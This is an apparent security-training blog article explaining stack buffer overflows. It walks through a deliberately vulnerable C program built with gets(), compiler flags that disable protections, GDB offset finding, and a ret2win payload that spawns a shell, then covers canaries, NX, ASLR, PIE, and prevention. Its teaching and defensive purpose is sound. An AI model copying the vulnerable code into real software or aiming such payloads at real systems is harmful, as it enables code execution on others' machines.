Buffer Overflow Explained: How the Attack Works (2026)

Cybersecurity Basics
16 min read
Buffer Overflow Explained: How the Attack Works (2026)
On this page
  1. What Is a Buffer Overflow?
  2. How a Stack Buffer Overflow Actually Works
    1. What the stack frame looks like
    2. What happens at the ret instruction
  3. A Buffer Overflow Example You Can Run Today
  4. Stack, Heap and Integer Overflows
  5. Why Buffer Overflows Still Matter in 2026
  6. The Four Protections That Made Buffer Overflows Hard
  7. How to Prevent Buffer Overflows
  8. Frequently Asked Questions
  9. Legal and Ethical Considerations
  10. Your Next Steps With Buffer Overflows

A buffer overflow happens when a program writes more data into a block of memory than that block was sized to hold, and the surplus lands on whatever sat next to it. On the stack, that neighbor is usually the address the CPU will jump to when the current function finishes. Overwrite it with one of your own and you stop being a user of the program and start directing it. This guide walks the attack end to end with a binary you can compile yourself, then shows the four protections that made it hard. HackerDNA's buffer overflow chapter runs the same exercise with a debugger open, in a browser tab instead of a lab VM.

The technique dates back to the Morris Worm in 1988, which is usually where people stop reading and conclude it has been solved. It has not. Seven buffer overflow entries were added to CISA's Known Exploited Vulnerabilities catalog between January and August 2026, and the most recent was a five-year-old bug in consumer router firmware.

TL;DR: A buffer overflow overwrites memory past the end of a buffer, and on the stack that memory holds the saved return address. Send 72 bytes of padding plus an 8-byte address into a 64-byte buffer and the program returns wherever you point it. Modern builds stop the naive version with stack canaries, non-executable memory, ASLR and position-independent code, which is why current exploitation is about reusing code already in the binary rather than injecting new code.

What Is a Buffer Overflow?

A buffer overflow is a memory corruption bug in which a program writes data past the end of a fixed-size buffer, overwriting adjacent memory. When the overwritten memory contains control data such as a function's return address, an attacker who controls the input controls where the program executes next.

Two conditions have to line up. The program needs a buffer with a fixed size, and it needs a copy operation that does not check how much it is copying. C and C++ hand you both by default: char user[64] allocates exactly 64 bytes, and gets(), strcpy(), sprintf() and memcpy() with an attacker-influenced length will happily write past the end of it. There is no bounds check unless the programmer writes one.

That is why the vulnerability class is inseparable from the languages that allow it. Java, Go, Rust, Python and C# insert bounds checks or track ownership, and an out-of-range write raises an exception rather than quietly corrupting the next variable. Buffer overflows live where C and C++ live: kernels, network daemons, media parsers, firmware, drivers, and the billions of embedded devices shipped with a compiler from 2014 that will never be updated.

The vocabulary trips people up, so here is the map. Buffer overflow is the general behavior. Stack overflow means the buffer was a local variable. Heap overflow means it came from malloc(). Out-of-bounds write is the formal weakness class, catalogued as CWE-787, which ranked fifth in the 2025 CWE Top 25 published that December. Stack-based buffer overflow gets its own identifier, CWE-121, at rank 14 on the same list.

How a Stack Buffer Overflow Actually Works

Everything about the attack follows from one design decision made decades ago: on x86-64, the return address is stored on the same stack as local variables, and it sits above them.

What the stack frame looks like

Calling a function pushes the address execution should resume at when that function returns. The function then sets up its own frame and allocates locals below that saved address. A frame holding a 64-byte buffer looks like this, from low memory address to high:

  • char user[64], the buffer, 64 bytes
  • saved RBP, the caller's frame pointer, 8 bytes
  • saved RIP, the return address, 8 bytes

Writing into user moves upward through that list. The first 64 bytes fill the buffer. Bytes 65 through 72 land on the saved frame pointer. Bytes 73 through 80 land on the return address. That arithmetic, 64 plus 8 equals 72, is the offset you are always hunting for.

What happens at the ret instruction

The ret instruction does one thing: it pops eight bytes off the top of the stack into the instruction pointer and jumps there. It does not validate them. If those eight bytes are AAAAAAAA, the CPU faults trying to execute at 0x4141414141414141 and you get a segmentation fault. If they are the address of a real function, the CPU calls it, and the program behaves as if it had been written to do so. That is the whole difference between a crash and an exploit.

💻
Practice this now: Reverse Engineering: License Key Crackme - pull apart an ELF binary with objdump, GDB and Ghidra to recover its key algorithm. Browser-based, free to start, no VM to configure.

A Buffer Overflow Example You Can Run Today

Here is a program with the bug in it. Save it as vuln.c:

#include <stdio.h>
#include <stdlib.h>

void win(void) {
    puts("[+] win() reached - spawning shell");
    system("/bin/sh");
}

void login(void) {
    char user[64];
    printf("Username: ");
    gets(user);
    printf("Access denied for %s\n", user);
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    login();
    return 0;
}

win() is never called. It exists in the binary and nothing reaches it, which is why this pattern is called ret2win. Compile with the modern protections switched off, because the goal here is to see the mechanism before seeing what defeats it:

$ gcc -fno-stack-protector -z execstack -no-pie -g -o vuln vuln.c
/usr/bin/ld: warning: the `gets' function is dangerous and should not be used.

That linker warning is not a formality. gets() has no safe usage at all, which is why the C standards committee removed it outright in C11 rather than deprecating it further. Four steps take you from source to shell.

  1. Find the crash. Feed the program a long non-repeating pattern instead of a flat run of A's, so that the bytes that reach the return address tell you where they came from. pwntools generates one with cyclic(120).
  2. Read the offset off the stack. Run it under GDB and look at what is sitting at the top of the stack when it faults:
    $ gdb -q -batch -ex "run < pattern.txt" -ex "x/1gx \$rsp" ./vuln
    Program received signal SIGSEGV, Segmentation fault.
    0x000000000040122d in login () at vuln.c:14
    0x7fffffffcd88: 0x6161617461616173
    Those eight bytes decode, little-endian, to saaataaa. Search the pattern for that substring and it starts at index 72. No guessing, no binary search, one run.
  3. Get the target address. nm vuln | grep -w win returns 00000000004011b6 T win. Because the binary was built with -no-pie, that address is fixed for every run.
  4. Build the payload. Seventy-two bytes of padding, then the address of win() packed little-endian:
    $ python3 -c "import sys,struct; sys.stdout.buffer.write(b'A'*72 + struct.pack('<Q', 0x4011b6))" > payload
    $ (cat payload; echo; cat) | ./vuln
    Username: Access denied for AAAAAAAA...
    [+] win() reached - spawning shell
    id
    uid=0(root) gid=0(root) groups=0(root)

In practice two snags bite on this exact program, and both are worth knowing before they cost you an afternoon. Stack alignment comes first: system() in modern glibc uses SSE instructions that fault unless RSP is 16-byte aligned at the call, so if win() reaches system() and dies there, prepend a bare ret gadget to shift the stack by eight bytes. Then there is stdin buffering. gets() may swallow the whole pipe into its stdio buffer, so your new shell reads EOF and exits before you can type, and the (cat payload; echo; cat) construction above is what keeps the pipe open.

One clarification on that uid=0(root) line, because it is the most common misreading of a ret2win demo. This ran in a throwaway container whose only user is root. A buffer overflow gives you the privileges the process already had. It is an execution primitive, not a privilege escalation technique, and the two only combine when the vulnerable binary is setuid or running as a service account.

Stack, Heap and Integer Overflows

The example above is a stack overflow, which is where everyone starts because the control data is right there next to the buffer. Two other families come up constantly in real advisories.

TypeWhere the buffer livesWhat gets corruptedTypical difficulty
Stack overflowLocal variable in a function frameSaved return address, frame pointer, other localsLowest
Heap overflowMemory from malloc()Allocator metadata, function pointers in adjacent objectsHigher
Integer overflow leading to buffer overflowEitherThe size calculation itself, which then undersizes the allocationVaries

Heap overflows are where the interesting bugs have moved. There is no return address next to a heap buffer, so exploitation means corrupting allocator bookkeeping or a neighboring object's function pointer, which requires shaping the heap layout first. The payoff is that heap bugs survive the protections that killed easy stack exploitation. Use After Free, CWE-416, ranked seventh on the 2025 CWE Top 25, two places above the classic buffer copy weakness.

The integer case hides well in code review. A function computes malloc(count * size), an attacker supplies a count large enough to wrap the multiplication, the allocation comes back far smaller than intended, and the copy that follows overflows a buffer that looked correctly sized three lines earlier. sudo's CVE-2021-3156 was a cousin of this: an off-by-one in backslash unescaping produced a heap overflow giving root on every sudo release from July 2011 to January 2021, a decade of a bug sitting in the most audited setuid binary on Linux.

Why Buffer Overflows Still Matter in 2026

The honest short answer is that they matter less than they did in 2005 and more than most defenders assume. The numbers back both halves of that.

Memory safety bugs remain the dominant vulnerability class in large C and C++ codebases. Microsoft's Matt Miller reported at BlueHat in 2019 that roughly 70 percent of the CVEs the company had patched over the previous twelve years were memory safety issues, and the Chromium project reports the same 70 percent figure for its high-severity bugs, measured across 912 of them since 2015.

What has changed is which overflows get exploited in the wild, and CISA's Known Exploited Vulnerabilities catalog answers that better than any vendor report, because every entry is a bug someone actually used against a real target. Of the 1,662 entries in the catalog as of 10 August 2026, 84 are described as buffer overflows, about five percent. Sorting those 84 by the date CISA added them shows where the class ended up:

  • Network appliances and firewalls. CVE-2025-53521, a stack-based buffer overflow in F5 BIG-IP APM leading to remote code execution, was added in March 2026. Edge devices parse untrusted traffic in C before any authentication happens, which is the worst possible combination.
  • Consumer and embedded firmware. CVE-2021-27137, a stack overflow in DD-WRT's UPnP handler reachable without authentication, was added in July 2026. The CVE is five years old. Router firmware does not get patched, so the bug simply waits.
  • Mobile and desktop operating systems. Three separate Apple buffer overflow issues reached the catalog between February and March 2026, all in code paths handling attacker-supplied media or network data.

The pattern is consistent. Nobody is exploiting a stack overflow in a freshly compiled Linux server application, because compiler defaults make that unprofitable. They are exploiting the parts of the estate compiled a decade ago, running on architectures with weaker mitigations, with no update path. If you are choosing where to look during a network engagement, that is the shortlist.

The Four Protections That Made Buffer Overflows Hard

Recompile the exact same vuln.c from earlier with no flags at all and the attack falls over immediately:

$ gcc -o vuln_hardened vuln.c
$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xb6\x11\x40\x00\x00\x00\x00\x00')" | ./vuln_hardened
Username: Access denied for AAAAAAAA...
*** stack smashing detected ***: terminated
Aborted

Nothing about the source changed. Four separate mitigations, all on by default in Ubuntu's gcc 13.3, are doing the work.

  • Stack canaries. The compiler places a random value between the local buffers and the saved return address, then checks it is intact before returning. Overwrite the return address and you necessarily overwrite the canary first, which produces the stack smashing detected abort above. Confirm one is present with nm binary | grep stack_chk.
  • Non-executable memory, NX or DEP. Stack pages are mapped writable but not executable, so shellcode written into a buffer faults when the CPU tries to run it. readelf -lW binary | grep GNU_STACK shows RW on the hardened build and RWE on the one built with -z execstack. This single change retired the entire generation of tutorials that teach you to inject shellcode onto the stack.
  • ASLR. The kernel randomizes where the stack, heap and libraries land on every execution, so a hardcoded address is wrong on the next run. Linux has had it on by default since 2005, controlled through /proc/sys/kernel/randomize_va_space.
  • Position-independent executables. ASLR only randomizes the program's own code if the binary is built as PIE. Check with readelf -hW binary | grep Type: DYN is position-independent, EXEC means addresses are fixed and 0x4011b6 stays valid on every run. That is why the demo used -no-pie.

Attackers adapted rather than giving up. Non-executable stacks pushed exploitation toward return-oriented programming, which chains short instruction sequences already present in the binary and never injects new code. ASLR pushed it toward leaking real addresses out of the target first and building the payload second. Both are covered in the binary exploitation course, and both are far more work than the four steps above, which is the point of a mitigation.

Worth checking first, every time: run checksec --file=binary before you write a single byte of payload. Canary, NX, PIE and RELRO status determine which technique is even possible, and five seconds of reading saves an hour of building an exploit for a defense the target does not have.

How to Prevent Buffer Overflows

How do you prevent a buffer overflow? Use a memory-safe language for new code, replace unbounded copy functions with length-checked equivalents in existing C and C++, keep every compiler hardening flag enabled, and run continuous fuzzing with a sanitizer so overflows surface in testing instead of production.

In order of how much risk each step removes:

  1. Write new components in a memory-safe language. This eliminates the class rather than mitigating it. CISA, the NSA, the FBI and partner agencies from Australia, Canada, New Zealand and the UK published The Case for Memory Safe Roadmaps in December 2023 urging manufacturers to publish exactly such a plan, and the NSA followed with dedicated memory-safe language guidance in June 2025. Rewriting a million-line C codebase is rarely realistic. Writing the new parser in Rust usually is.
  2. Delete the dangerous functions. gets() has no safe usage and was removed from C11. strcpy(), strcat() and sprintf() write until they hit a null byte with no idea how large the destination is. Their bounded replacements, snprintf() and strlcpy(), need a size argument, which forces the programmer to think about it once.
  3. Turn on the compiler. -D_FORTIFY_SOURCE=3, -fstack-protector-strong, -fstack-clash-protection, -Wl,-z,relro,-z,now and PIE cost almost nothing at runtime and each closes off a technique. Add -fcf-protection on x86-64, or branch target identification on modern ARM, so hardware control-flow integrity rejects jumps to addresses that are not valid function entry points.
  4. Fuzz continuously with sanitizers on. AddressSanitizer catches out-of-bounds writes as they happen rather than whenever the corrupted memory is next read, turning a heisenbug into a stack trace. Pair -fsanitize=address with libFuzzer or AFL++ and point it at every function parsing input from outside your trust boundary.
  5. Patch the edge first. The KEV data above is unambiguous about where exploitation actually happens. VPN concentrators, firewalls, load balancers and routers deserve a faster patch window than internal application servers.

One caution on the compiler flags. They raise the cost of exploitation, they do not remove the bug, and an attacker holding an information leak works through all of them. Treat mitigations as time bought for the patch, not as a fix.

Frequently Asked Questions

What is the difference between a buffer overflow and a stack overflow?

A buffer overflow is writing past the end of any fixed-size buffer. A stack overflow, in the exploitation sense, is one where the buffer was a local variable in a function frame, which puts the saved return address within reach. Confusingly, the same phrase also describes stack exhaustion from runaway recursion, which is a crash rather than a memory corruption bug.

Are buffer overflows still exploitable in 2026?

Yes, though rarely in the textbook form. Stack canaries, non-executable memory and ASLR make the classic overwrite-and-jump attack fail on any recently compiled binary. Exploitation moved to heap corruption, information leaks combined with return-oriented programming, and embedded targets that ship without those mitigations. CISA added seven new buffer overflow entries to its Known Exploited Vulnerabilities catalog in the first eight months of 2026.

Which programming languages are vulnerable to buffer overflows?

Primarily C, C++, and assembly, along with any language that calls into them through a foreign function interface. Java, C#, Python, Go, JavaScript and safe Rust perform bounds checks and raise an exception or panic instead of corrupting adjacent memory. Rust's unsafe blocks and C extension modules in Python are the usual escape hatches worth auditing.

Do I need to know assembly to exploit a buffer overflow?

You need to read it, not write it. For a stack overflow, recognize function prologues and epilogues, follow a call and a ret, and know what RSP, RBP and RIP hold. That is roughly a weekend of study. Return-oriented programming raises the bar because you select gadgets by their instruction sequences, but tools like ropper do the searching.

Critical reminder: compile and attack binaries you wrote or that were built for training. Sending crafted input to software you do not own can constitute unauthorized access under the Computer Fraud and Abuse Act in the United States, the Computer Misuse Act in the United Kingdom, and equivalent statutes elsewhere, and a memory corruption attempt that fails usually crashes the service, which turns a curiosity into an outage.

Two points are specific to this class of bug. Fuzzing is not passive: pointing a fuzzer at a live service is a sustained crash-inducing workload, so it belongs on your own copy of the target and inside a scoped window that says so in writing. And if you find a genuine overflow in software you do not own, OWASP's write-up on buffer overflow attacks works as a reference in a disclosure report, alongside the crash input, the affected version, and no more proof of concept than it takes to establish the finding.

Coordinated disclosure also matters more here than in web security. A working memory corruption exploit for a network daemon is a serious capability, and publishing one before a patch exists puts every unpatched deployment at risk in a way a proof-of-concept XSS payload does not.

Your Next Steps With Buffer Overflows

The mechanism behind a buffer overflow is small enough to hold in your head: input runs past the end of a buffer, reaches the saved return address, and the ret instruction jumps wherever you told it. ROP chains, format string bugs and heap grooming are all built on that one idea, which is why it is worth doing by hand once rather than reading about five times.

Ignore the tutorials still teaching 32-bit x86 with shellcode on the stack and ASLR switched off. That approach died with NX, and the register names alone will confuse you in front of a real 64-bit binary. Compile the vuln.c above, get your own segfault this week, and install pwndbg or GEF while you are at it, because a stack view that labels the return address in color saves more time than any other tooling decision here.

From there, Binary Secrets is an evening-long warm-up in reading file structure, and the Hack the Box lab finishes in an ARM64 ROP chain built with pwntools and ropper. The binary exploitation course covers the same ground across ten chapters, from stack layout to ROP, format strings, heap corruption and shellcode, with a protections chapter on what to do when the easy path closes. Everything runs in the browser, and the free tier needs no credit card.

HackerDNA Team

HackerDNA Team

Written by the HackerDNA team - cybersecurity professionals building hands-on hacking labs and educational content to help you develop real-world security skills.

Meet the Team

Ready to put this into practice?

Stop reading, start hacking. Get hands-on experience with 170+ real-world cybersecurity labs.

Start Hacking Free
21,000+ Hackers 100+ Labs & Courses Free
Start Hacking Free